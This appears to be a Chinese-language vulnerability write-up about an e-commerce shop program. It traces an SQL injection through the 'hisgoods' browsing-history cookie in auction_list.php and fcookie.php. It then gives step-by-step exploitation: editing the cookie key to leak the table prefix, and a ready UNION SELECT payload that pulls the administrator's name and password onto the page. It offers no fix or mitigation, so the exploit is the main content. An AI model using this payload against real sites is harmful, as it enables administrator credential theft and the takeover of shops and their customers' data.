起因是有个朋友用这个程序搭建了一个网店,叫我帮忙测试一下。
在网上找到一个已经公布的0day。但是参数是包含在单引号里,除非GPC=off。所以就自己读了一下源码。
漏洞出在根目录的“auction_list.php”,第77-86行:
/* 浏览记录 */
$getcookie = get_hisgoods_cookie();
$goodshistory = array();
if($getcookie) {
arsort($getcookie);
$getcookie = array_keys($getcookie);
$gethisgoodsid = implode(",",array_slice($getcookie, 0, 4));
$sql = "select is_set_image,goods_id,goods_name,goods_thumb,goods_price from $t_goods where goods_id in ($gethisgoodsid)";
$goodshistory = $dbo->getRs($sql);
}
$gethisgoodsid这个参数未经过滤就带入查询。它是由$getcookie得来的,跟一下$getcookie这个变量,即get_hisgoods_cookie()函数。
“foundation/fcookie.php”中:
function get_hisgoods_cookie() {
return get_cookie("hisgoods");
}
同样是“foundation/fcookie.php”。
function get_cookie($k) {
global $session_prefix;
if(isset($_COOKIE[$session_prefix.$k])) return $_COOKIE[$session_prefix.$k];
return null;
}
原来是在COOKIE里取得变量的,至此漏洞产生。
利用方法:
1.先随便看一个商品,然后访问“http://localhost/auction_list.php”,使用cookies浏览器的话,你会发现里面会多了个类似“iweb_hisgoods[22(这个数字是你访问过的商品ID)]=1282282762”的项目。
2.首先在“22”后面加个单引号,使其暴错,得出数据表的前缀。然后将“22”改为“22) and 1%3D2 union select 1,admin_password,admin_name,4,5 from ishop_admin_user-- ”(ishop_是你刚才得出的前缀,“--”即注释符后一定要加个空格)。
3.再访问“http://localhost/auction_list.php”,查看右下角最新浏览就会得出管理员的帐号和密码。